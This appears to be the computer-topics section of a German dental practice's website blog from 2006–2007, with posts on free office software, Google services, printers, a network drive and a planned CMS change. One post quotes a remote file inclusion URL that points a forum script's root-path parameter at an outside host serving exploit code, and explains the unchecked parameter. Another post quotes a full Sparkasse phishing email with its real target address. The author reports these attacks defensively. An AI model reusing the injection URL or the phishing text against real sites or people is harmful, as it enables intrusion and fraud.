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Computer Sachen, Hard- und Software alles was die PC s betrifft, kommt hierhin. Egal, ob das Anweisungen für den Ausfall angeht, oder neue Software oder Schulungen oder sonst jet PC mäßiges ist; das kommt hierrein Die folgenden Beiträge können in diesem Artikelbereich gefunden werden.
Name des Artikelbereichs: Computer Sachen, Hard- und Software
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Gesendet von : Chef Dienstag, 11. Dezember 2007 - 08:21 |
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Die Zeichen der Zeit stehen nicht mehr ganz eindeutig auf Microsoft. Testen Sie einfach mal das kostenlose Office Paket -->Open Office 2.3 im direkten Vergleich neben dem Produkt des Monopolisten und es stellt sich dann durchaus die Frage, welches Paket das bessere ist. Zumal die Freiversion alle Komponenten enthält, also "Powerpoxnt", "Acxess", ein kleines "Coxel Draw", und natürlich Exxel und Woxd sowieso. Alle genannten Anwendungen können selbstverständlich mit den Original-Datenformaten umgehen. Dann gibt es -->Notepad++, das ist endlich ein Notizbuch, das den Namen verdient, denn die von Microsoft mitgelieferte Variante wurde seit den 80er Jahren nicht weiterentwickelt. Die fleißige GNU-Entwicklergemeinde sorgt für unendlichen Nachschub im Bereich der kostenlosen Software, z.B.:
- Alice 2.0 macht 3D Animationen
- Cam Studio 2,5 macht Flash Videos für Schulungen von PC Anwendungen
- Phonostar Player 2.o hat 4400 Radiosender per Internet auf Lager
Wer das alles schön sortiert jeden Monat mit einem Bildschirmfoto und kurzem Text präsentiert bekommen möchte, legt schmale 56 Euro im Jahr für diese Zeitschrift hin. Es ist nicht die Methode von www.Zahnfilm.de Schleichwerbung im Text unterzubringen. Das ist hier auch keine Schleichwerbung
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Gesendet von : Chef Donnerstag, 01. November 2007 - 10:33 |
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Google kauft sich ein Software Imperium zusammen, dass es eine wahre Freude ist. Sketchup heißt das 3-D Modell Programm zum herstellen und verändern von Sachen, die eine Raumtiefe haben sollen. Google pusht das Programm zur Zeit für die eigene Google-Earth Datenbank, in der jetzt die reale Welt in 3-D abgebildet werden soll. Das geschieht auf breiter Ebene schon von allen "Sehenswürdigkeiten" auf dem ganzen Globus mit Hilfe der Sketchup Software und Fotografien, die von solchen (i.d.R.) Gebäuden zu Tausenden existieren. Google hat es geschafft, eine große Anzahl von freiwilligen und natürlich unbezahlten Mitarbeitern zu gewinnen. Wohin die Reise dann geht, deutet diese Bildreihe an:
Wenn Sie sich selbst davon ein Bild machen wollen, brauchen Sie die Software Sketchup 6.0 und dann das Modell 3D textured face.
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Gesendet von : Chef Montag, 29. Oktober 2007 - 15:08 |
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Und ich wundere mich, dass im Monat Oktober 2007 offensichtlich kein Patient Fragen hat, die er im Zahnfilm.de Forum stellen kann. Tatsächlich wurde im Zuge der Sicherheitsverbesserung der Verwaltungssoftware ein Fehler eingebaut, der das Einloggen in das Forum unmöglich machte. Das ist jetzt behoben, jetzt können alle wieder Fragen stellen.
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Gesendet von : Chef Samstag, 06. Oktober 2007 - 10:08 |
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In einem Zeitrahmen von 6 Monaten wird Zahnfilm.de ein komplett anderes Gesicht bekommen. Der Siegeszug von Joomla als die absolute Nummer 1 aller CMS (Content Management Systeme) ist nicht mehr zu übersehen. Die indirekte Folge ist die, dass kleinere Software Schmieden wie MD-Pro (das ist die derzeitige Software hier) praktisch keine Chance mehr haben. Während Joomla (Gründung im Jahr 2005) beim einfachen Aufrufen des Namens schon 63 Millionen Hits bei Google verzeichnet, sind es bei MD-Pro nur 250 Tausend, obwohl MD-Pro seit mindestens 2002 auf dem Markt ist.
Entsprechend dramatisch sieht es auch bei den erhältlichen Erweiterungen für die Grundsoftware aus. MD-Pro hat sich dabei selber noch ein Bein gestellt, indem es ausgerechnet letztes Jahr eine komplett neue Engine (Kernmaschine) eingeführt hat, die nicht oder nur nach Änderungen kompatibel zu den vorhandenen Erweiterungen (Module genannt) ist. Davon existierten ca. 100 Stück für die alte Version 1.076, die hier läuft. Joomla hat dagegen bereits jetzt über 2000 Erweiterungen und täglich kommen neue hinzu. Das ist wirklich die sprichwörtliche Mücke und der Elefant im Vergleich.
"Der letzte macht das Licht aus"; und der heißt nicht Joachim Wagner. Es ist schade um die sehr engagierte Arbeit der Entwickler von MD-Pro, die diese Arbeit unentgeltlich (!) getan haben, allen voran TiMax aus Kanada und Pete Best in England, aber die Würfel sind gefallen.
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Gesendet von : Chef Donnerstag, 04. Oktober 2007 - 17:31 |
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http://zahnfilm.de/modules/MDForum/includes/functions_admin.php?
phpbb_root_path=http://usuarios.arnet.com.ar/larry123/exploit.txt?
Das ist der klassische Angriff auf eine Internet-Präsenz durch Code-Injektion in der Adresszeile. Das entscheidende Stichwort in diesem Zusammenhang heißt "Exploit". Dabei handelt es sich immer um einen Fehler in der Internet-Software der betroffenen Homepage, der dazu führt, dass Hackangriffe Erfolg haben. Solche Exploits werden in den entsprechenden Kreisen, nämlich in der Szene der Hacker und der Internet-Administratoren, schnell durch das Internet verbreitet und dann beginnt der Wettlauf: wer ist zuerst da?
Im konkreten Beispiel dieser Seite zahnfilm.de ist genau diese obere Eingabezeile in einen beliebigen Browser völlig ausreichend gewesen, um die Kontrolle über fast alle Daten von zahnfilm.de zu bekommen. Für die Interessierten: das php Skript "funktions_admin.php" prüft den wichtigen Parameter "..root_path" nicht bei der Übernahme von Browserbefehlen. Und dann reicht es völlig aus, diesen Parameter mit der Adresse eines Spionageprogramms zu füttern mit dem Befehl "...path=http..." und voila: der Tresor ist geknackt.
Selbstverständlich ist dieses Schlupfloch gestopft. Wer jetzt diesen Befehl probiert, sieht nur noch die Worte "hacking attempt". Das garantiert leider nicht, dass nächste Woche nicht schon wieder ein geduldiger Hacker das nächste Schlupfloch findet, um das Katz- und Mausspiel neu zu starten. Eine 100% sichere Software ist reine Illusion. Hier heißt es also am Ball bleiben. Leider ist die Materie sehr speziell, da ist professionelle Hilfe unumgänglich. Und es läßt sich schon voraussagen, dass diese Arbeitsplätze glänzende Zukunftsaussichten haben. Wer mit dem Gedanken spielt Zahnmedizin zu studieren, sollte sich das noch mal genau überlegen.
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Gesendet von : Chef Montag, 01. Oktober 2007 - 16:28 |
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Das Hacken dieser Seite "zahnfilm.de" nimmt leider kein Ende. Offenbar versuchen Zombie-Rechner (umgedrehte normale Server) mit brutaler Gewalt auch diese Internet Seite in Besitz zu nehmen. Täglich registriert das Logbuch mehrere verschiedenartige Versuche, über die Schwachstellen der installierten Software Code auf diese Seiten einzuschleußen, um auch mit dieser Präsenz Trojaner zu verbreiten.
Für die technisch Interessierten:
- 1. Ein Exploit (der Wunderknabe, der das Loch entdeckt hat nennt sich "H4/XPK") in der Verwaltungssoftware Confixx scheint die Hauptrolle zu spielen.
- 2. Dazu kommen Injektionsversuche über alle Eingabefelder dieser Seite
- 3. und die Angreifer wechseln praktisch dauernd die Sende-IP, so dass eine Verfolgung ausgeschlossen ist.
Falls im lesenden Publikum ein Experte für php Skripte dabei ist; bitte melden Sie sich hier: za-wagner@telelev.net
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Gesendet von : Chef Sonntag, 16. September 2007 - 12:06 |
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Gesendet von : Chef Donnerstag, 17. Mai 2007 - 20:36 |
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Für das Heim-LAN (Local Area Network = auf deutsch: Heimnetzwerk für die 5 PCs zu Hause) brauchte ich einen File-Server (= Festplatte mit Netzanschluss). Der wird benötigt um - etwa. 3.500 MP3 Dateien = ca. 200 CDs
- etwa. 2.500 private Fotos
- und ein paar wichtige Schriebe (Manuskripte usw.) online zu halten
Dafür kommen verschiedene technische Ausführungen in Frage. Die Standardlösung des letzten Jahrzehnts war der so genannte Fileserver in Form eines (normalen) Computers, der als Besonderheit bestimmte Teile seiner Festplatte für die allgemeine Nutzung im Netzwerk freigegeben hatte und natürlich mit Karte und Kabel vernetzt war. Seit einigen Jahren gibt es dafür speziellere Geräte. Die Firma Fantec, Hamburg hat ein so genanntes LAN-Drive im Programm. Es handelt sich letztlich um einen Spezialcomputer mit festverdrahtetem Linux Betriebsprogramm, dessen einzige Aufgabe es ist, eine größere Festplatte (100 bis 500 GB) einem LAN online zur Verfügung zu stellen. Das Gerät gibt es im Formfaktor einer externen 3,5 Zoll Festplatte und hat diese Vorzüge: - Verbrauch: 5 bis 11 Watt (Schlafmodus und Zugriff)
- Montage nur abhängig von Cat 5 Verkabelung
- Kosten: unter 70 Euro (ohne Festplatte, mit Festplatte unter 150 Euro)
- Anschluss über RJ45 (Cat 5) oder USB 2.0
Speziell der Verbrauch dieses Festplattenspeichers macht das Teil interessant. Betreibt man als Privatmensch einen alten PC als Fileserver (egal ob unter Linux oder Windows), dann verbraucht ein solcher PC eine elektrische Dauerleistung von mindestens 50 Watt, bei PCs der neueren Generationen auch schon mal das Doppelte (!). Diese 50 Dauerwatt kosten pro Jahr etwa 85 Euro an Stromkosten. Das Fantec-Teil braucht nur etwa 8 Dauerwatt, und spart auf diese Weise etwa 70 Euro pro Jahr = refinanziert sich also in einem einzigen Jahr. *) Fantec produziert in der ROC (China Mainland) und entwirft in Hamburg und Taiwan.
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Gesendet von : Chef Samstag, 24. März 2007 - 14:48 |
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Liebe Gäste und Leser von Zahnfilm,gestern mußte der Apache-Server von Zahnfilm.de um ca. 15:00 abgeschaltet werden, weil ein Spam-bot (automatischer Spam-Email-Roboter) die Email-Funktion von Zahnfilm illegal geöffnet hat. Allen, die scheinbar von hier aus Spam-mail erhielten: "Entschuldigen Sie bitte".
Um den gleichen Angriff zu verhindern mußten einige Funktionen dieser Homepage abgeschaltet werden. Zur Zeit betrifft das auch die Module Forum und Wikipedia. An einer Lösung wird gearbeitet.
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Gesendet von : Chef Sonntag, 11. März 2007 - 23:17 |
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Liebe Leser, in eigener Sache,Der Umzug vom alten Server auf einen neuen Serverpark in Berlin ist weitgehend erledigt. Etwa 80% aller Seiten sind wieder erreichbar. Der Rest ist in der Mache. Der Vorteil für alle Leser hier ist, dass die Reaktionszeiten jetzt erheblich verkürzt werden und die Anbindung an die Hochgeschwindigkeits Trassen in Deutschland schneller funktioniert. Minutenlanges Warten auf den Seitenaufbau gehört der Vergangenheit an. Übrigens wurde dieser Umzug vom Hoster hier ( alfahosting) kostenlos auf Kulanz übernommen.
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Gesendet von : Chef Sonntag, 25. Februar 2007 - 17:26 |
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Mein Homepage Hoster alfahosting hat diese Softwaren hier vorbereitet zur Direktinstallation auf die eigene Homepage. Das ist hochinteressant für alle, die - mal eben schnell ein Forum hochziehen wollen
- einen echten eigenen Blog machen wollen
- eine ausgefeilte Internet-Business-Software mit allem Drum und Dran zum vollautomatischen Verkaufen von Artikeln an Endverbraucher brauchen. Das ist also ein fertiger E-Shop (Testseite hier), braucht nur Artikel eingepflegt haben und ein paar Einstellungen hier und da. Und los geht das ungebremste Geldverdienen. Smile ...
Das Beste daran: die Softwaren sind weitgehend Public Domain, also kostenlos. Und genau so bietet Herr alfahosting das auch an: all inclusive im Paketpreis. Das dazugehörende sogenannte "Multipaket" hat alle erforderlichen Funktionen (Php, MySQL, Email, ...) und reichlich Platz und kostet im Monat stolze 2,99 Euro, das sind im Jahr 36 Euro. Genau das Paket reicht übrigens für den Betrieb der Homepage www.zahnfilm.de. Das nenne ich preiswert. Hier die includierten Softwaren
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Gesendet von : Chef Donnerstag, 08. Februar 2007 - 16:32 |
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Google hat die Seite http://docs.google.com am Start. Dort braucht man einen Benutzernamen und ein Passwort (wie halt überall im Netz) und schon kann man loslegen mit Schreiben. Nix runterladen, nix einstellen, einfach Abfahrt.
Dort entsteht zur Zeit das Werk "Chronische Schmerzen im Gesicht und Kiefer". Das Schöne an der Internet-Textverarbeitung ist, dass ich an 3 PCs gleichzeitig weiterschreiben kann. Alle 3 haben den jeweils neuesten Stand online. Und wo die PCs stehen, ist völlig egal. Für alle, die an einem Buch schreiben, oder auch mehrere Schreiber an einem Text werkeln lassen wollen: this is the way to go.
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Gesendet von : Chef Freitag, 05. Januar 2007 - 23:43 |
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Das war einfach. Sie sehen seit gestern hier auf der Seite ganz oben 6 neue Buttons (neudeutsch für Schalter), die mit "Startseite","Forum" usw. beschriftet sind. Und so sieht der HTML-Code für einen solchen Button aus:

Was für Uneingeweihte seltsam aussieht, ist im Prinzip ziemlich primitiv: die erste fettgedruckte Zeichenkette ist eine absolute Adresse im Internet, die genau so in jeden Browser in die Adresszeile gegeben werden kann. Die zweite fettgedruckte Zeichenkette ist der Name eines Bildes mit den Unterordnern, in dem es steckt.
Die anderen Anweisungen sagen dem Browser:- zeige das Bild mit dem Namen hinter "scr=" in der Größe 70 mal 80 Pixel
- wenn das Bild nicht zu finden ist, zeige den Alternativtext hinter "alt="
- wenn mit der Maus auf das Bild geklickt wird, dann gehe zur Adresse hinter "href="
Das war es schon. Lust auf mehr Schreiben von HTML macht diese Seite.
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Gesendet von : Chef Sonntag, 22. Oktober 2006 - 17:04 |
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Die PC Professionell hat 2 interessante Internet Anwendungen vorgestellt:- Google Calendar ist zu finden unter www.calendar.google.com. Es handelt sich um einen schnellen und optisch sehr ansprechenden persönlichen Kalender, den sich jeder bei Google einrichten kann. Erforderlich ist dafür nur ein beliebiges Email-Konto und ein Browser. Ohne jede Software-Installation kann man nach Anmeldung sofort loslegen. Der wichtigste Vorzug eines Internet-Kalenders ist, dass er überall an jedem Internet-Anschluss aufrufbar ist. Man muss also kein PDA oder ähnliches mit sich herumschleppen. Die Einrichtung geht schnell und die Eingabe ist anwenderfreundlich gelöst.
- Dann hat PC Prof. die Auskunft-Datenbanken von verschiedenen Anbietern getestet. Mit dabei waren die Google Maps, die Gelben Seiten und verschiedene kleinere Anbieter. Der Dienst mit den besten Trefferquoten bei Adress- und Telefondaten ist http://www.11880.com/. Zweitplaziert ist YellowMap.
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Gesendet von : Chef Donnerstag, 19. Oktober 2006 - 17:55 |
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Auch Sie haben sich garantiert schon über einen Ihrer Farbdrucker mächtig geärgert. Der typische Farbdrucker ist ein Tintenspeier, der grundsätzlich mindestens einen dieser Fehler aufweist: - die DIN A4 Seite wird nicht gerade eingezogen (Canon)
- es wird mehr als ein Blatt gleichzeitig eingezogen, was regelmäßig zum Papierstau (Canon) führt.
- eine Farbe der 3er Farbpatrone leert sich und die Software des Druckers nervt mit Meldungen, dass man doch schon mal vorauseilend die neue Patrone einsetzen sollte (HP)
- die Tintenpatronen kosten ein Heidengeld und sind trotzdem zügig geleert (HP)
- die Billigtintentanks gibt es gerade für den eigenen Drucker nicht (HP)
- man kauft Billigpatronen und - klar - sie funktionieren nicht 100%.
- eine oder mehrere Farben sind eingetrocknet (Canon, Epson)
- der Druckkopf ist frisch gesäubert und gespült, die Tanks sind voll, trotzdem will eine Farbe nicht (Canon, Epson)
- der Druckkopf und die Patronen sind in Ordnung, trotzdem gibt es Streifen im Bild (Canon)
- auf Normalpapier sieht der Druck ziemlich bescheiden aus, Fotopapier kostet dafür ein Vermögen - vor allem an Farbe.
Die Liste ist nicht vollständig. Das Schlimmste daran sind noch nicht einmal die Kosten. Es ist die verlorene Arbeitszeit, die für frustrane Versuche draufgehen, das Gerät doch noch zur Mitarbeit zu bewegen. Einmal Druckkopf ausbauen, spülen, ausblasen, versuchen in Betrieb zu nehmen und neue Unbotmäßigkeiten des Geräts feststellen, bedeutet mindestens eine Stunde extra. Und 5 mal im Jahr kommt es genau so oder schlimmer. Das muß nicht sein. Ebay.de hat hervorragende Gebraucht Farblaserdrucker auf Lager. Gemeint sind nicht die neuesten Kreationen von HP und Konsorten für den Heimanwender, die in der Anschaffung keine Euro 400 kosten, aber dann, wenn der Toner nach 500 Seiten Farbe verdruckt ist, plötzlich Euro 600 für 4 Farbkartuschen sehen wollen. Gemeint ist ein grundsolides Arbeitspferd aus der oberen Preisklasse von HP aus der Zeit, als man Laserdrucker noch mit richtigem Eisen baute. Der Autor ist stolzer Besitzer von 2 Stück HP Laserjet Color 4500N. Der erste hat 30.000 Farbseiten auf der Uhr und hat mit Händlergarantie Euro 250 gekostet. Der Zweite hat 80.000 Seiten hinter sich und wurde als defekt für Euro 5 verkauft. Beide Geräte sind in hervorragender Verfassung, beide drucken die Farbseiten in nicht unterscheidbarer excellenter Qualität. Und das Beste ist, dass die Verbrauchsmaterialien (Toner, Trommel, Übertragungsband ...) für diese Drucker jetzt auf dem OEM Niveau angekommen sind: 4 mal Toner für 10.000 Seiten für Euro 200 etc. Wer die Nase voll hat von verstopften Düsen und schlechten Papiereinzügen, kann mit den alten Schlachtrössern von HP nicht viel falsch machen. PS: und mit der Druckgeschwindigkeit von 20 Farbseiten pro Minute kann auch in Zukunft wahrscheinlich kein Tintenkleckerer auch nur annähernd mithalten.
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Gesendet von : Chef Mittwoch, 09. August 2006 - 19:57 |
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OpenOffice, jetzt in der Version 2.03, braucht sich nicht mehr länger hinter der Office Software von Bill Gates's Monopolunternehmen verstecken. Ob Textverarbeitung oder Tabellenkalkulation oder eine komplette Datenbank mit allem drum und dran oder ein Präsentationsprogramm (Powerpoint), jedes Modul hat seine Entsprechung und kann funktionell mit der mindestens 300 Euro teuren OfficeSuite des Noch-Marktführers mithalten. OpenOffice stürzt nun seit etlichen Versionen auch nicht mehr ab. Das war vor 2 Jahren noch nicht so. Und da OpenOffice schon lange alle Microsoft Dateiformate lesen und schreiben kann, steht dem Austausch der Softwarepakete nur noch die Trägheit ihrer Anwender entgegen. OpenOffice kann direkt von mehreren Spiegelservern mit der deutschen Ausgabe heruntergeladen werden. Es handelt sich um ca. 95 MB, und das Beste: es kostet keinen müden Euro, und das in der Vollversion incl. Datenbank und Präsentation!
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Gesendet von : Chef Dienstag, 20. Juni 2006 - 21:55 |
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Google hat im Rennen um die spektakulärste Aufbereitung der Satellitenfotos der Erde die Nase ganz weit vorne: jetzt sind schwindelerregende Zoomfahrten von der Erde als 10 Zentimeter großer Ball bis zur bildschirmfüllenden Ansicht des eigene Parkplatzes möglich. Und Google-Earth kann das auch noch schnell. Dazu gibt es viele Optionen. Man kann direkt die Postanschrift eingeben und wird alsbald dorthin gezoomt. Die schnellwachsende Google-Earth-Gemeinde stellt im Handumdrehn virtuelle Reisen um die Welt ins Netz. Dann wird auch schon an einer 3-dimensionalen Ansicht von hohen Objekten der Natur oder der Architektur gewerkelt. Diese Software und die zugehörigen Daten aus Satellitenabbildungen der Erde haben das Zeug zu einer Killerapplikation des Internets. Hier entsteht eine neue Anwendungssparte.
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Gesendet von : Chef Dienstag, 20. Juni 2006 - 14:42 |
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Heute ist das hier im Email Eingang gelandet:
Sparkasse
Sehr geehrte Kundin, sehr geehrter Kunde,
wir freuen uns Ihnen mitzuteilen, dass Online-Banking der Sparkasse jetzt noch sicherer ist!
Weltweit
gilt das TAN-Verfahren als eines der sichersten Legitimations-Verfahren
für Online-Bankgeschäfte. Dennoch gab es in letzter Zeit immer wieder
Versuche, auf betrügerische Art und Weise TAN-Nummern von Kunden zu
erhalten und das Geld ins Ausland zu überweisen.
Zur Zeit ist uns das Verfahren, die die Betrüger für die Entwendung der TAN-Listen benutzen, nicht bekannt.
Um Ihre Online-Geschäfte noch besser zu schützen, führt die Sparkasse zusätzliche Schutzmassnahmen ein.
Fuer
den gewöhnlichen Schutz durch nicht nummerierte TAN-Liste haben Sie
zwei gültige TAN einzugeben. Wenn sie den neuen iTAN Verfahren
benutzen, müssen Sie 20 iTAN eingeben.
Nutzer, die den iTAN-Schutz verwenden, gehen Sie bitte auf diesen Link: https://www.sparkasse.de/verify/itan.do
Kunden,
die den gewöhnlichen Schutz durch TAN-Liste verwenden, gehen Sie bitte
auf diesen Link: https://www.sparkasse.de/verify/tan-listen.do
Achtung! Wir bitten unsere Kunden um Verständnis für diese Überprüfung.
Alle Sparkassenkonten, die nicht innerhalb eines Tages authentifiziert werden, werden gesperrt!
Offensichtlicher geht es ja kaum. Ungeschickt sind die Betrüger auch noch: wenn man mit der Maus über den blaufarbenen Link (ist hier natürlich inaktiviert) https://www.sparkasse.de/verify/tan-listen.do wandert, erscheint das tatsächliche Ziel: http://210.17.188.34:8081/www.sparkasse.de/frontend/login/ index.php/target_tmpl=blzsearch&s_localLinkType=banking &s_linkType=2/index.php?email=za-wagner@telelev.net
Hätten sich die Ganoven etwas mehr mit HTML befasst, würde dieser Anfänger-Fehler nicht passieren. Penner. Das einzige was mich immer wieder fasziniert: es muss noch Leute geben, die das nicht als ganz plumpe Masche erkennen.
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Gesendet von : Chef Donnerstag, 25. Mai 2006 - 22:27 |
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Für den Fall, dass Sie sich Ihren Video-Urlaubsfilm oder evtl. sogar steuerbegünstigte betriebliche Videobilder mit schneiden, legen und fönen verschönern wollen; hier sind die angesagten Werkzeuge:- WinDV. Mit einem Software Schnipsel von weniger als 100 kB (Sie haben richtig gelesen: unter 0,1 MB) wird jeder Microsoft kompatible DV Camcorder ohne langes Gefummel mit Einstellungen ruckzuck über den Firewire (1394) Anschluss ausgelesen. Das Beste daran ist, dass das .AVI Format dieser Freeware mit fast allen Videoprogrammen kompatibel ist, im Gegensatz zum Marktführer Ulead.
- Jashaka kann die .avi Dateien anschließend weiterbearbeiten. Die Software hat zugegebenermaßen eine hohe Lernkurve, kann aber dafür auch mit unbewegten Bildern umgehen und mit erstaunlichen Effekten aufwarten. Es handelt sich ebenfalls um Freeware.
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Gesendet von : Chef Dienstag, 16. Mai 2006 - 22:47 |
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Heute traf der neue Schlepptop von HP ein: ein NX6125 mit dieser Leistungsbeschreibung. Der Händler lieferte also für schlappe 556 Euro das Teil incl. MWSt. Dreimal darf man raten, wie solche Preise machbar sind. Is klar: Made in China. Hewlett-Packard gibt sich keine Mühe mehr, die Lage zu beschönigen. Selbst der in anständigem Deutsch verfasste DIN A4 Zettel, der vom Hersteller auf der Tastatur befestigt war, um die erste Benutzung des Fingerabdrucksensors zu erklären, selbst dieser Zettel wurde in China gedruckt. Die reinen Leistungsdaten des Geräts sind sicher nicht spektakulär. Den ledert jeder aktuelle Aldi- und Lidlapparat auf den ersten 100 Metern ab. Dafür kostet der Aldi-Schlepptop aber auch mindestens das Doppelte und kann doch eins nicht: ganz leise sein. Dieser Laptop ist ein leiser Laptop. Mitverantwortlich dafür ist der AMD Sempron Mobil 3100+ Prozessor. Es handelt sich um die Sparausgabe für das untere Marktsegment. Gespart wird an Leistung, aber vor allen Dingen auch an Strom. Deshalb hält der Akku trotz seiner kleinen Größe lange und das Gerät wird kaum warm. Das führt zu seltenem Anspringen des Ventilators, der aber auch bei Vollgas nur wenig stört. Für die typischen Anwendungen OpenOffice 2.0, Internet, Mail und ab und zu Videoschnitt reicht das Leistungsniveau vollkommen aus. Wer unbedingt mit dem Laptop Need for Speed 3 spielen will, der muß eh ganz andere Summen in die Hand nehmen. Fazit: weniger ist mehr. Die Highlights des Geräts: sehr leise, DVD Multiformat Brenner, diverse Speicherkarte Slots + PMCIA, USB 2, Firewire, gute Unterstützung von HP mit online-Treibern und vergleichsweise gute Stereo Lautsprecher im Gerät.
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Gesendet von : Chef Montag, 15. Mai 2006 - 11:18 |
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Gesendet von : Chef Donnerstag, 11. Mai 2006 - 16:57 |
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Der offizielle Adope Reader sieben ist eine echte Plage (in denglisch: a pain in the ass). Entweder nervt er beinahe jedesmal mit Updates, auf die die Welt dringend nicht gewartet hat. Was aber noch unerfreulicher ist: er weigert sich des öfteren, PDF-Dateien zu laden und blockiert damit den Browser. Der User glaubt, dass der PC abgestürzt ist, tatsächlich hat aber Adope ein Kleinfenster hinter 3 bis 5 größeren Fenstern versteckt und nervt mit irgendeiner überflüssigen Meldung. Und bevor der User das nicht entdeckt und mit einem Mausklick traktiert hat, wird der ganze Betrieb aufgehalten. Das hat jetzt ein Ende: Foxit Reader liest PDF ohne ständige Unbotmäßigkeiten und vor allem: deutlich schneller. Die Software ist Freeware.
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Gesendet von : Chef Sonntag, 07. Mai 2006 - 18:29 |
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Gesendet von : Chef Mittwoch, 05. April 2006 - 16:24 |
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Yahoo hat auch bei flickrzugeschlagen. flickr stellt im Grunde nur Speicherplatz zur Verfügung, und versieht das mit einem leicht bedienbaren (denglisch:) Frontend = Bedienoberfläche. Jeder Fotoamateur kann sich da ein Konto einrichten, auf dem dann die eigenen Bilder abgelegt werden. Interessant ist das auf jeden Fall für die Millionen von Digitalfotografen, deren Bilder ja wegen der kaum zu bändigenden Sintflut von Fotos gar keine Chance mehr haben, auf Papier verewigt zu werden. Früher wurden das Jahr über 1 bis 5 Filme vollgeknipst und dann zum Entwickeln gebracht. Heute verknipst der Durchschnitts-Digivideot an einem Tag den Gegenwert von eins bis zwei Filmen. Wohin also mit dem Plunder? Natürlich zuerst auf die eigene Festplatte und dann hoffentlich regelmäßig auf CD oder DVD gesichert. Nur sind das schlecht transportable Medien. Weder die Festplatte noch die SicherungsCDs kann man an die Verwandschaft/Bekanntschaft herumreichen. Und hierfür ist flickr gedacht. Eine Auswahl der gelungensten Fotos wird vom Erzeuger hochgeladen, und bekommt ein Paßwort zum Betrachten mit. Jeder, der dann das Paßwort vom Eigentümer bekommt kann dann die Bilder anschauen, so oft er will, so lange er will. Natürlich kann man seine Bilder auch freigeben oder abgestuft freigeben. Einen Eindruck verschaffen Sie sich schon mal hier: diese Bildersind zur Zeit auf dem Konto frisoer13 zu finden. Weitere zum allgemeinen Thema Zahnmedizin werden folgen.
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Gesendet von : Chef Samstag, 01. April 2006 - 12:13 |
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11.12.2005: Yahoo! kauft Lesezeichenverwaltung del.icio.us - Yahoo! hat del.icio.us gekauft, gab Joshua Schachter am Freitag auf dem Blog seines Unternehmens bekannt. del.icio.us ist eine webbasierte Favoritenverwaltung, die es ermöglicht, Links anderen Nutzern zugänglich zu machen und durch Tags zu kategorisieren. Schachter entwickelte del.icio.us vor zwei Jahren, um mit seinen Freunden Links auszutauschen. Erst 2005 wurde das Unternehmen del.icio.us mit Sitz in New York gegründet. «Business Week» bezifferte die Zahl der Nutzer des Taggers del.icio.us im September auf rund 200'000 weltweit, die Millionen an Links bei del.icio.us hinterlegt haben. Schon im März dieses Jahres hat Yahoo! das Foto-Portal Flickr gekauft. Flickr ermöglicht das Erstellen von virtuellen Fotoalben und setzt ähnlich wie del.icio.us auf eine Kategorisierung nach Schlagwörtern oder Tags. Kommentar: Yahoo! hat die Sorge, auf Dauer gegen Google zu verlieren und kauft deshalb alle erfolgversprechende Internet-Ideen so schnell auf, wie möglich. www.zahnfilm.de wird in den nächsten Monaten verstärkt auf diese Hilfsmittel deli.icio.us und Flicr zugreifen. Schon heute können Sie - lieber Benutzer - den Wert von deli.icio.us hier testen. Rechts oben auf der Startseite klicken Sie auf "ganz frische Links" und erhalen eine übersichtlich sortierte Liste von zur Zeit etwa 60 Links, die alle mit dem größeren Thema "Infos und Einkauf für Zahnmediziner" zu tun haben. Die Liste wird selbstverständlich erweitert.
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Gesendet von : Chef Dienstag, 28. März 2006 - 18:00 |
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Mouse Gestures = spezielle Bewegungen mit der Computermaus zum direkten Aufruf oft gebrauchter Befehle. Für den Mozialla Firefox gibt es ja inzwischen Hunderte von Add-ons (Zusatzsoftware). Eine solche Erweiterung ist die Software "Mouse Gestures". Damit kann man die ca. 5 bis 10 Navigationsbefehle für das Internet, wie: vorwärt, rückwärts, Fenster öffnen, Fenster schließen... mit einer bestimmten Bewegung der Maus auslösen, muss also nicht mehr wie bisher immer nach links oben in die Navigationsecke hechten.
Übrigens verdanken wir die ganze Mozilla Unternehmung, bestehend aus dem Browser, dem Mailprogramm "Thunderbird" und den Myriaden von Erweiterungen einer international besetzten Gemeinde von ComputerCracks, die das alles für Gotteslohn tun. Naja, vielleicht fällt ja von dem hell strahlenden Ruhm der Firefox-Entwickler etwas ab für die Wasserträger in den unteren Etagen der Software. Immerhin wird hier die globale Nummer 1 im PC-Software Business direkt herausgefordert - und das recht erfolgreich.
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Gesendet von : Chef Sonntag, 26. März 2006 - 16:43 |
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Es ist ärgerlich, stundenlang nach einer bestimmten Internetadresse zu suchen, nur weil man nicht an dem PC sitzt, der die Adresse unter Favoriten oder Lesezeichen gespeichert hat. Und das ist die Stelle, an der deli.icio.us weiterhilft. Die Idee dahinter ist, Lesezeichen nicht mehr lokal zu speichern, sondern im wortwörtlichen Sinne global. Deli.icio.us arbeitet als Erweiterung ("Add-on") von Mozilla Firefox und klinkt sich in die Symbolleiste ein. Die Benutzung ist denkbar einfach: sobald eine Seite mit einem Lesezeichen versehen werden soll, drückt man die "Tag"-Taste. Daraufhin geht ein weiteres Browser Fenster von deli.icio.us auf, auf dem schon die Adresse eingetragen ist, die gespeichert werden soll. Dazu kann man dann erläuternde Hinweise, Schlagwörter o.ä. eintragen und speichert es ab. Begibt man sich nun an einen völlig anderen PC ruft man dort die deli.icio.us Seite mit dem eigenen Benutzer/Passwort auf, sind sofort wieder alle jemals vermerkten Lesezeichen parat.
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Gesendet von : Chef Dienstag, 24. Januar 2006 - 10:15 |
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Rezept: Man nehme das kostenfreie xampp-Paket für Windows (Linux ist auch im Angebot, getestet habe ich beide: perfekt), installiere das Paket mit etwa 5 Mausclicks auf dem Server der Praxis. Dann sind alle Vorausetzungen für das Intranet da, nämlich - Apache Server
- MySQL Datenbank
- PHP Version 4 oder 5 (wählbar)
Darauf kann dann sofort das ebenfalls kostenlose Paket wordpress 2.0installiert werden. Auch das erfordert kaum mehr als das Kopieren der Dateien in die vorgesehenen öffentlichen Ordner vom Apache-Server, eine kurze Installationsroutine und fertig ist das CMS (Content Management System). Die Klienten brauchen nur noch im Internet-Browser einen direkten Aufruf auf den Server und schon kann an beliebig vielen Bildschirmen an Notizen, Arbeitsanleiungen, Zuständigkeiten usw. gearbeitet werden. Wordpress hat eine sehr hohe Verbreitung, es gibt Hunderte von verschiedenen Skins (Oberflächen), die Übersetzung in Deutsch erfolgt bei jedem Update innerhalb von Tagen. Nachdrücklich empfohlen. Noch was: die Daisy-CD kann mit dem Apache-Server ganz problemlos ebenfalls an allen Bildschirmen veröffentlicht werden. Einfach alle Dateien hochladen, und der Link heißt dann beispielsweise http://10.0.0.33/daisy/daisy.htm. Das war die ganze Installation.
